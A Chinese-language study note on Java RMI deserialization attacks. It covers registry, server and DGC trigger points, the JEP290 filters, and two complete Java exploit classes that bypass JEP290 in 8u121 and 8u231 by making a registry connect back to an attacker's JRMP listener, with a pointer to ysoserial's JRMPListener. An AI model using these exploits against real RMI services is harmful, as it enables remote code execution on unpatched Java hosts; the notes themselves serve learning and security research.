随手记得笔记.jpg
参考b站白日梦组长
流程原理
代码示例
服务端&注册中心
很少有人会把这两个分开放
官方文档:
出于安全原因,应用程序只能绑定或取消绑定到在同一主机上运行的注册中心。这样可以防止客户端删除或覆盖服务器的远程注册表中的条目。但是,查找操作是任意主机都可以进行的。
IRemoteObj.java:
1 2 3 4 5 6 7 8 9
| package org.example;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface IRemoteObj extends Remote { public String sayHello(String keywords) throws RemoteException; }
|
RemoteObjlmpl:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package org.example;
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject;
public class RemoteObjlmpl extends UnicastRemoteObject implements IRemoteObj { public RemoteObjlmpl() throws RemoteException{ }
@Override public String sayHello(String keywords){ String upKeywords = keywords.toUpperCase(); System.out.println(upKeywords); return upKeywords; } }
|
RemoteServer:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package org.example;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RemoteServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { IRemoteObj remoteObj = new RemoteObjlmpl(); Registry r = LocateRegistry.createRegistry(1099); r.bind("remoteObj",remoteObj); } }
|
客户端
IRemoteObj.java:
1 2 3 4 5 6 7 8
| package org.example;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface IRemoteObj extends Remote { public String sayHello(String keywords) throws RemoteException; }
|
rmiclient.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package org.example;
import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class rmiclient { public static void main(String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj"); remoteObj.sayHello("Hello"); } }
|
关于DGC
前面简要提及了客户端、服务端、注册中心调用流程的反序列化
DGC的Stub会在发布远程对象时自动生成,分别是DGCClient的EndpointEntry的构造函数里和DGCImpl静态代码块里
DGC客户端每次调用dirty时都有可能被DGC服务端攻击,8u141会有过滤器
DGC服务端调用dirty时也存在反序列化,DGC服务端可能被客户端攻击
触发点总结
攻击客户端
RegistryImpl_Stub#lookup->注册中心攻击客户端
DGCImpl_Stub#dirty->服务端攻击客户端
UnicastRef#invoke->服务端攻击客户端
StreamRemoteCall#executeCall->服务端/注册中心攻击客户端
StreamRemoteCall#executeCall->JRMP服务端攻击JRMP客户端
攻击服务端
UnicastServerRef#dispatch->客户端攻击服务端
DGCImpl_Skel#dispatch->客户端攻击服务端
攻击注册中心
RegistryImpl_Skel#dispatch->客户端/服务端攻击注册中心
高版本绕过
jdk8u121-EP290
8u121之后,安全机制JEP290对RMI进行修复:
1.限制服务端和注册中心必须在同一host,这俩被强制绑定了
2.RegistryImpl_Skel里面的对象反序列化时会进行白名单校验
1 2 3 4 5 6 7 8 9 10 11 12 13
| if (String.class == clazz || java.lang.Number.class.isAssignableFrom(clazz) || Remote.class.isAssignableFrom(clazz) || java.lang.reflect.Proxy.class.isAssignableFrom(clazz) || UnicastRef.class.isAssignableFrom(clazz) || RMIClientSocketFactory.class.isAssignableFrom(clazz) || RMIServerSocketFactory.class.isAssignableFrom(clazz) || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz) || java.rmi.server.UID.class.isAssignableFrom(clazz)) { return ObjectInputFilter.Status.ALLOWED; } else { return ObjectInputFilter.Status.REJECTED; }
|
3.DGCImpl_Skel和DGCImpl_Stub里面的对象反序列化时会进行白名单校验
1 2 3 4 5 6
| return (clazz == ObjID.class || clazz == UID.class || clazz == VMID.class || clazz == Lease.class) ? ObjectInputFilter.Status.ALLOWED : ObjectInputFilter.Status.REJECTED;
|
此时如何不受限制攻击客户端:
思路是让服务端成为JRMP客户端,只要调用任意一个stub,触发UnicastRef#invoke就会被攻击
利用JRMP层的StreamRemoteCall#executeCall,由于触发点不在两个Impl里,可以直接绕过过滤
实施
流程如下:
构造恶意对象,让注册中心发起dirty请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public class JRMPRegistryExploit { public static void main(String[] args) throws Exception{ RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 1099); lookup(registry); }
public static void lookup(RegistryImpl_Stub registry) throws Exception {
Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass(); Field refField = RemoteObjectClass.getDeclaredField("ref"); refField.setAccessible(true); UnicastRef ref = (UnicastRef) refField.get(registry);
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(genEvilJRMPObj()); ref.invoke(var2);
} private static Object genEvilJRMPObj() { LiveRef liveRef = new LiveRef(new ObjID(), new TCPEndpoint("127.0.0.1", 7777), false); UnicastRef unicastRef = new UnicastRef(liveRef); return unicastRef; } }
|
这样受害者成了JRMP客户端导致被攻击
恶意服务端可直接用ysoserial/exploit/JRMPListener
JDK8u231
对注册中心加固,更新RegistryImpl_Skel#dispatch:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| case 2: { java.lang.String $param_String_1; try { java.io.ObjectInput in = call.getInputStream(); $param_String_1 = (java.lang.String) in.readObject(); } catch (ClassCastException | IOException | ClassNotFoundException e) { call.discardPendingRefs(); throw new java.rmi.UnmarshalException("error unmarshalling arguments", e); } finally { call.releaseInputStream(); } java.rmi.Remote $result = server.lookup($param_String_1); try { java.io.ObjectOutput out = call.getResultStream(true); out.writeObject($result); } catch (java.io.IOException e) { throw new java.rmi.MarshalException("error marshalling return", e); } break; } ......
|
DGCImpl_Stub:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| public void clean(java.rmi.server.ObjID[] $param_arrayOf_ObjID_1, long $param_long_2, java.rmi.dgc.VMID $param_VMID_3, boolean $param_boolean_4) throws java.rmi.RemoteException { try { StreamRemoteCall call = (StreamRemoteCall)ref.newCall((java.rmi.server.RemoteObject) this, operations, 0, interfaceHash); call.setObjectInputFilter(DGCImpl_Stub::leaseFilter); try { java.io.ObjectOutput out = call.getOutputStream(); out.writeObject($param_arrayOf_ObjID_1); out.writeLong($param_long_2); out.writeObject($param_VMID_3); out.writeBoolean($param_boolean_4); } catch (java.io.IOException e) { throw new java.rmi.MarshalException("error marshalling arguments", e); } ref.invoke(call); ref.done(call); } catch (java.lang.RuntimeException e) { throw e; } catch (java.rmi.RemoteException e) { throw e; } catch (java.lang.Exception e) { throw new java.rmi.UnexpectedException("undeclared checked exception", e); } }
public java.rmi.dgc.Lease dirty(java.rmi.server.ObjID[] $param_arrayOf_ObjID_1, long $param_long_2, java.rmi.dgc.Lease $param_Lease_3) throws java.rmi.RemoteException { try { StreamRemoteCall call = (StreamRemoteCall)ref.newCall((java.rmi.server.RemoteObject) this, operations, 1, interfaceHash); call.setObjectInputFilter(DGCImpl_Stub::leaseFilter); try { java.io.ObjectOutput out = call.getOutputStream(); out.writeObject($param_arrayOf_ObjID_1); out.writeLong($param_long_2); out.writeObject($param_Lease_3); } catch (java.io.IOException e) { throw new java.rmi.MarshalException("error marshalling arguments", e); } ref.invoke(call); java.rmi.dgc.Lease $result; Connection connection = call.getConnection(); try { java.io.ObjectInput in = call.getInputStream();
$result = (java.rmi.dgc.Lease) in.readObject(); } catch (ClassCastException | IOException | ClassNotFoundException e) { if (connection instanceof TCPConnection) { ((TCPConnection) connection).getChannel().free(connection, false); } call.discardPendingRefs(); throw new java.rmi.UnmarshalException("error unmarshalling return", e); } finally { ref.done(call); } return $result; } catch (java.lang.RuntimeException e) { throw e; } catch (java.rmi.RemoteException e) { throw e; } catch (java.lang.Exception e) { throw new java.rmi.UnexpectedException("undeclared checked exception", e); } }
|
把过滤器调整到了invoke前
实施
JRMPListener监听,但一次性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| public class UnicastRemoteObjectExploit { public static void main(String[] args) throws Exception{ RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 1099); exploit(registry,"127.0.0.1",7777);
}
private static void exploit(RegistryImpl_Stub registry,String host,int port) throws Exception {
UnicastRemoteObject unicastRemoteObject = getObj(host,port); Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass(); Field refField = RemoteObjectClass.getDeclaredField("ref"); refField.setAccessible(true); UnicastRef ref = (UnicastRef) refField.get(registry);
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
Field f = ObjectOutputStream.class.getDeclaredField( "enableReplace" ); f.setAccessible( true ); f.set( var3, false );
var3.writeObject(unicastRemoteObject); ref.invoke(var2); }
private static UnicastRemoteObject getObj(String host,int port) throws Exception{ LiveRef liveRef = new LiveRef(new ObjID(7777), new TCPEndpoint(host,port), false); UnicastRef ref = new UnicastRef(liveRef); RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(ref); RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(RMIServerSocketFactory.class.getClassLoader(), new Class[]{RMIServerSocketFactory.class, Remote.class},remoteObjectInvocationHandler );
Constructor RemoteObjectConstructor = RemoteObject.class.getDeclaredConstructor(RemoteRef.class); RemoteObjectConstructor.setAccessible(true); Constructor<?> unicastRemoteObjectConstructor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(UnicastRemoteObject.class, RemoteObjectConstructor); UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) unicastRemoteObjectConstructor.newInstance(new UnicastRef(liveRef));
Field ssfField = unicastRemoteObject.getClass().getDeclaredField("ssf"); ssfField.setAccessible(true); ssfField.set(unicastRemoteObject,rmiServerSocketFactory); return unicastRemoteObject; } }
|
大致思路:
UnicastRemoteObject的ssf是RMISeverSocketFactory类型(接口),把ssf设置成一个代理RMIServerSocketFactory接口的动态代理,里面放RemoteObjectInvocationHandler
服务端的TCPTransport#listen在客户端ref.invoke后会自动执行(查找远程对象),将UnicastRemoteObject反序列化,在TCPEndPoint#newServerSocket里面操作ssf,ssf中RemoteObjectInvocationHandler为动态代理类,在反序列化时执行invoke,最后调用UnicastRef#invoke,之后的步骤与JEP290绕过相同,服务端/注册中心成为JRMP客户端
JDK8u241里给修了,应该不会有bypass了